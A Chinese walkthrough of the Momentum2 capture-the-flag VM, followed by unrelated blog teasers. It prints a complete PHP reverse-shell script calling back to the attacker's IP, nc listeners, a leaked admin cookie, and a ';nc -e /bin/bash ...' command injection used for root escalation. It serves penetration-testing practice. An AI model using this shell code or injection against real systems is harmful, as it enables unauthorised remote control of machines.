Momentum2

攻击机

192.168.223.128

目标机

192.168.223.147

主机发现

nmap -sP 192.168.223.0/24

端口扫描

nmap -sV -A -p- 192.168.223.147

开启了22 80 端口

看一下web界面

源码,robots.txt ,url都观察了一下好像没什么有用信息

扫一下目录

gobuster dir -u http://192.168.223.147 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt 

挨个查看,发现dashboard.html可以文件上传

而且main.js里面有后端代码

传一个一句话木马试试,发现.php被过滤,传txt文件上传成功,但是上传到哪儿了,不知道,根据前端信息about Owls,在owls下看到了上传的txt文件

但不是php文件这么执行呢,想起来还有个ajax.php,打开是空白的,看一下有没有备份文件

发现存在bak文件

   //The boss told me to add one more Upper Case letter at the end of the cookieif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){//[+] Add if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");}else{$valid_ext = array("txt");}// Remember success upload returns 1 

当上传时候cookie为admin=&G6u@B6uDXMq&Ms,并且cookie后面还有一个多的大写字母,post secure=val1d时候才能上传php文件

重新上传一次,记得用爆破最后一位cookie,发现是R

发现上传成功

一句话发现不好用,直接用一个反弹shell 的脚本

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.223.128';  
$port = 4567;  
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {if (!$daemon) {print "$string\n";}
}
?> 

重新上传

攻击机开个监听端口

nc -lvnp 4567

拿到shell

切换到交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

athena用户有两个txt文件,一个是提示密码的,另一个是个flag

看看能不能连接上athena的22端口,密码是myvulnerableapp*,(md,考英文呢,Asterisk是星号的意思),成功连上

发现有一个提权文件

看一下这个py文件

 

会产生一个随机cookie,种子由用户输入,然后执行cmd这个命令,这个命令是root权限,可以将反弹shell 的命令写入cmd来提权

sudo -u root python3 /home/team-tasks/cookie-gen.py #root执行py文件
nc -lvnp 4444 #攻击机开启监听端口
;nc -e /bin/bash 192.168.223.128 4444;  #执行反弹shell命令

成功拿到root权限,注意用python3执行,python默认用python2

总结:1.目录扫描2.备份文件3.文件上传4.直接命令执行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/469200.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第12讲创建图文投票实现

创建图文投票实现 图文投票和文字投票基本一样&#xff0c;就是在投票选项里面&#xff0c;多了一个选项图片&#xff1b; <view class"option_item" v-for"(item,index) in options" :key"item.id"><view class"option_input&qu…

Django form组件 - 神奇的后端直接渲染HTML

前言 之前在HTML页面中利用form表单向后端提交数据时会写一些获取用户输入的标签并且使用form标签将其包裹起来。并且很多场景下都需要对用户的输入做校验&#xff0c;比如用户输入的长度和格式等&#xff0c;如果用户输入的有误就需要在页面上相应的位置显示相应的错误信息。…

Rust基础拾遗--进阶

Rust基础拾遗 前言1.结构体1.1 具名字段型结构体1.2 元组型结构体1.3 单元型结构体1.4 结构体布局1.5 用impl定义方法1.5.1 以Box、Rc或Arc形式传入self1.5.2 类型关联函数 1.6 关联常量1.7 泛型结构体1.8 带生命周期参数的泛型结构体1.9 带常量参数的泛型结构体1.10 让结构体类…

vscode 提取扩展时出错。XHR failed

检查 vscode 设置中的代理服务器&#xff0c;位置如下图 清空 vocode 中的 Proxy&#xff0c;我黄线框的部分&#xff0c;内容清空。 检查电脑系统环境变量&#xff0c;是否设置了 http_proxy 和 https_proxy&#xff0c;如果有设置&#xff0c;则删除这两项&#xff0c;下载完…

MySQL 基础知识(六)之数据查询(一)

目录 1 基本查询 1.1 查询相关列 (select * / 列名) 1.2 别名 (as) 1.3 去重 (distinct) 1.4 对列中的数据进行运算 (、-、*、/) 2 条件查询 (where) 2.1 等值查询 () 2.2 非等值查询 (>、<、>、<、!、><) 2.3 逻辑判断 (and、or、not) 2.4 区间判…

IDEA中mybatis配置文件表名显示红色,提示 Unable to resolve table ‘xxx‘

问题&#xff1a;IDEA中mybatis配置文件表名显示红色&#xff0c;提示 Unable to resolve table ‘xxx’ 解决方法&#xff1a; 使用快捷提示键 Alt Enter&#xff0c;选择 Go to SQL Resolution Scopes&#xff08;转到SQL的解析范围&#xff09;

HarmonyOS鸿蒙学习基础篇 - Column/Row 组件

前言 Row和Column组件是线性布局容器&#xff0c;用于按照垂直或水平方向排列子组件。Row表示沿水平方向布局的容器&#xff0c;而Column表示沿垂直方向布局的容器。这些容器具有许多属性和方法&#xff0c;可以方便地管理子组件的位置、大小、间距和对齐方式。例如&#xff0c…

洛谷_P1059 [NOIP2006 普及组] 明明的随机数_python写法

这道题的关键在于去重和排序&#xff0c;去重可以联想到集合&#xff0c;那排序直接使用sort方法。 n int(input()) data set(map(int,input().split( ))) data list(data) data.sort() print(len(data)) for i in data:print(i,end )

ClickHouse--08--SQL DDL 操作

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 SQL DDL 操作1 创建库2 查看数据库3 删除库4 创建表5 查看表6 查看表的定义7 查看表的字段8 删除表9 修改表9.1 添加列9.2 删除列9.3 清空列9.4 给列修改注释9.5 修…

基于LightGBM的回归任务案例

在本文中&#xff0c;我们将学习先进的机器学习模型之一&#xff1a;Lightgbm。在对XGB模型进行了越来越多的改进以获得更好的性能之后&#xff0c;XGBoost是一种极限梯度提升机器&#xff0c;但通过lightgbm&#xff0c;我们可以在没有太多计算的情况下实现类似或更好的结果&a…

STM32—DHT11温湿度传感器

文章目录 一.温湿度原理1.1 时序图 二.代码 一.温湿度原理 1.1 时序图 (1).下图一是DHT11总的时序图。 (2).图二对应图一的左边黑色部分&#xff0c;图三对应图一的绿色部分&#xff0c;图四的左部分图对应图一的红色部分&#xff0c;图四的右部分对应图一的黄色部分。 (3)…

【深蓝学院】移动机器人运动规划--第4章 动力学约束下的运动规划--作业

文章目录 1. T11.1 题目1.2 求解1.3 Pontryagin Minimum Principle 的拓展 2. T22.1 题目2.2 求解 3. Reference 1. T1 1.1 题目 1.2 求解 1.3 Pontryagin Minimum Principle 的拓展 2. T2 2.1 题目 2.2 求解 Listing1&#xff1a; demo_node.cpp/trajectoryLibrary() for(i…